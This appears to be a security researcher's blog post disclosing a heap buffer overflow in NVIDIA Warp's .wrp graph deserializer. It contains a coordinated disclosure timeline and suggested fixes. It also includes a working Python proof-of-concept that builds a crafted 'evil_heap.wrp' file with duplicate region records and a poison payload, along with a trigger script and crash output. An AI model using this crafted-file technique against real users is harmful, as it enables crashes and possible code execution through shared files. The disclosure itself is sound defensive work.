· Jimmy Ly · Vulnerabilities  · 6 min read

Heap Buffer Overflow in NVIDIA Warp .wrp Deserializer

We found a heap buffer overflow in NVIDIA Warp's .wrp graph deserializer that allows an attacker to overwrite heap memory with controlled data via a crafted file, leading to a crash or potentially arbitrary code execution.

We discovered a heap buffer overflow in NVIDIA Warp’s .wrp graph deserializer. A crafted .wrp file triggers attacker-controlled heap corruption when loaded via wp.capture_load(), crashing the process with STATUS_ACCESS_VIOLATION (0xC0000005). The vulnerability was confirmed on Warp 1.13.0, Windows x64.

High Severity
CVE
Pending
Product
NVIDIA Warp 1.13.0 (130a55e)
Component
apic.cpp:479: memcpy in apic_init_cpu_graph_memory()
CWE
CWE-787: Out-of-bounds Write
CVSS
7.8 High (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Fix
TBD
Vendor Advisory
TBD
Discovered by
Jimmy Ly

What is NVIDIA Warp?

NVIDIA Warp is a Python framework for high-performance simulation and graphics programming. It compiles Python kernels to native CPU/GPU code and is used in robotics, physics simulation, and machine learning pipelines. Warp supports capturing simulation graphs and saving them as .wrp files, a binary format designed for cross-process and cross-language graph replay.

The Bug

The .wrp loader has a two-phase design where two separate functions iterate the same memory section bytes from a single file. Each function has its own loop over the records, but they handle duplicate region_id entries differently, creating a size mismatch that leads to a heap buffer overflow.

Phase 1 - Parse region sizes

apic_parse_memory_regions() builds a map of memory regions. If a region_id already exists, the record is silently skipped. Only the first record’s size is stored.

// apic.cpp:616–622
if (graph->regions.find(rec->region_id) == graph->regions.end()) {
    APICRegion region;
    region.size = rec->size;          // stores size=16
    graph->regions[rec->region_id] = region;
}
// second record with same region_id falls through (never stored)

Phase 2 - Allocate and copy

apic_init_cpu_graph_memory() allocates each region using the stored sizes, then re-walks the same bytes to copy initial data. It does not skip duplicates; it processes every record.

// apic.cpp:448 - allocates using the stored (first) size
pair.second.ptr = malloc(pair.second.size);    // malloc(16)

// apic.cpp:479 - copies using the record's size (second, larger record)
memcpy(it->second.ptr, ptr, rec->size);        // memcpy(buf_16, data, 65536) OVERFLOW

The memcpy trusts rec->size from the file without checking it against the allocation size. A crafted file puts a small record first (controls malloc) and a large record second (controls memcpy), causing attacker-controlled data to spill past the allocation.

Both phases are called back-to-back with the same pointer:

// apic.cpp:1475
apic_parse_memory_regions(memory_ptr, memory_size, graph);    // phase 1
// apic.cpp:1484
apic_init_cpu_graph_memory(graph, memory_ptr, memory_size);   // phase 2

The Crafted .wrp File

The exploit requires a MEMORY section with two records sharing the same region_id but different sizes:

[region_count: uint32 = 2]
[Record 1]  region_id=5, size=16,    has_data=0   ← sets malloc size
[Record 2]  region_id=5, size=65536, has_data=1   ← sets memcpy size
[65536 bytes of attacker payload]                  ← written past 16-byte buffer

A legitimate .wrp never has duplicate region_id values. This is a malformed input the parser fails to reject.

Proof of Concept

Generating the crafted .wrp

The generator script builds a minimal valid .wrp with the two conflicting records:

import struct

def make_header(num_sections, section_table_offset):
    return struct.pack('<4sIII Q B3s I 32s',
        b"WRP1", 3, 0, num_sections, section_table_offset,
        1, b'\x00'*3, 0, b'\x00'*32)

def make_section_entry(sec_type, offset, size):
    return struct.pack('<II QQQ', sec_type, 0, offset, size, size)

def make_memory_region_record(region_id, size, element_size, has_data):
    return struct.pack('<II Q B 7s', region_id, element_size, size, has_data, b'\x00'*7)

metadata = struct.pack('<7I', 3, 0, 0, 0, 0, 0, 0)

# Poison pointer payload - appears in crash dumps as proof of control
POISON = struct.pack('<Q', 0xDEADBEEFDEADBEEF)
OVERFLOW_SIZE = 65536
payload = POISON * (OVERFLOW_SIZE // len(POISON))

rec1 = make_memory_region_record(5, 16, 4, 0)              # malloc(16)
rec2 = make_memory_region_record(5, OVERFLOW_SIZE, 4, 1)    # memcpy overflow
memory = struct.pack('<I', 2) + rec1 + rec2 + payload

operations = struct.pack('<I', 0)

data_start = 64 + 3*32
s1 = make_section_entry(0x01, data_start, len(metadata))
s2 = make_section_entry(0x02, data_start+len(metadata), len(memory))
s3 = make_section_entry(0x03, data_start+len(metadata)+len(memory), len(operations))

with open("evil_heap.wrp", "wb") as f:
    f.write(make_header(3, 64) + s1 + s2 + s3 + metadata + memory + operations)

Triggering the overflow

import warp as wp
wp.init()
graph = wp.capture_load("evil_heap", device="cpu")

Result

capture_load() returns successfully. The 65,536-byte memcpy into a 16-byte buffer completes silently. The heap is corrupted with the 0xDEADBEEFDEADBEEF poison pattern. When Python’s garbage collector tries to free the corrupted graph object, the process crashes:

PS> python poc_trigger.py
Warp 1.13.0 initialized:
   Devices:
     "cpu"      : "AMD64 Family 25 Model 117 Stepping 2, AuthenticAMD"
[!] heap corruption occurred but did not crash immediately
Exception ignored in: <function Graph.__del__ at 0x00000245AA44B1A0>
Traceback (most recent call last):
  File "...\warp\_src\context.py", line 4297, in __del__
OSError: exception: access violation reading 0xFFFFFFFFFFFFFFFF

The crash address (0xFFFFFFFFFFFFFFFF) comes from the attacker-controlled overflow payload corrupting a pointer inside the graph object. The process exits with code -1073741819 (0xC0000005, STATUS_ACCESS_VIOLATION). Normal Warp operations exit with code 0.

The same vulnerability also exists in the CUDA path. apic_init_memory() in apic.cu:155 does cudaMemcpy(it->second.ptr, ptr, rec->size, ...) with the same unchecked size.

Impact

.wrp is a portable format designed for sharing simulation captures. A user who receives a .wrp from a GitHub repo, model zoo, or colleague and loads it with wp.capture_load() expects it to be parsed as data, not to corrupt memory.

  • Integrity: Attacker overwrites adjacent heap objects with controlled content (function pointers, vtables, allocator metadata)
  • Availability: Guaranteed crash (DoS) when corrupted heap metadata is later accessed
  • Confidentiality: The same parser has OOB read defects (apic_read_lp_string at apic.cpp:519) that trust file-controlled string lengths, potentially leaking heap contents

Suggested Fix

The .wrp parser trusts all file-controlled fields without validation. The core issue is that memcpy at apic.cpp:479 uses rec->size (from the file) without checking it against the allocation size. Three approaches to fix this, in order of preference:

1. Single-pass parse: Eliminate the second walk entirely. APICRegion already has an unused initial_data field. Store the region data there during the first parse pass, reject duplicate region_id entries, then have apic_init_cpu_graph_memory() copy from the stored data instead of re-reading the file. This makes it impossible for the allocation size and copy size to disagree, because both come from the same record in the same loop iteration.

2. Validate before copying: Keep the two-pass design, but check rec->size against the allocation size before the memcpy:

auto it = graph->regions.find(rec->region_id);
if (it != graph->regions.end() && it->second.ptr) {
    if (rec->size != it->second.size) {
        fprintf(stderr, "APIC: Error - size mismatch for region %u\n", rec->region_id);
        return false;
    }
    memcpy(it->second.ptr, ptr, it->second.size);
}

This catches the mismatch at the point of danger and rejects the file. Simple, minimal change, directly prevents the overflow.

3. Reject duplicate region_id entries: Add an else branch in apic_parse_memory_regions() that returns false when a duplicate is found. Without duplicates, the two passes always agree on sizes. Legitimate .wrp files never contain duplicates; the serializer writes each region exactly once.

All three fixes should also be applied to the CUDA path (apic_init_memory in apic.cu:155), which has the same unchecked rec->size in a cudaMemcpy call.

Disclosure

This vulnerability was reported to NVIDIA PSIRT via their Security Vulnerability Submission Form in accordance with their coordinated disclosure policy.

Timeline

DateEvent
17/05/2026Vulnerability discovered and PoC confirmed
17/05/2026Reported to NVIDIA PSIRT
19/05/2026NVIDIA acknowledges receipt
19/05/2026NVIDIA confirms the vulnerability
Back to Blog

Related Posts

View All Posts »
Integer Overflow in Bullet3 STL Mesh Parser

Integer Overflow in Bullet3 STL Mesh Parser

We found an integer overflow in Bullet3's STL mesh loader where a crafted triangle count bypasses the sanity check, causing the parser to read 4 GB from an 88-byte heap buffer.

CVE-2023-46805: Ivanti Connect Secure (ICS)

CVE-2023-46805: Ivanti Connect Secure (ICS)

A new module in OWASP Nettacker to detect the presence of a critical vulnerability in Ivanti Connect Secure (ICS) (CVE-2023-46805) that can lead to authentication bypass which is typically chained with a command injection vulnerability (CVE-2024-21887).

CVE-2023-26360: Adobe ColdFusion

CVE-2023-26360: Adobe ColdFusion

A new module in Google Tsunami Security Scanner to detect a critical vulnerability in Adobe ColdFusion (CVE-2023-26360) that can lead to unauthenticated file read and arbitrary code execution.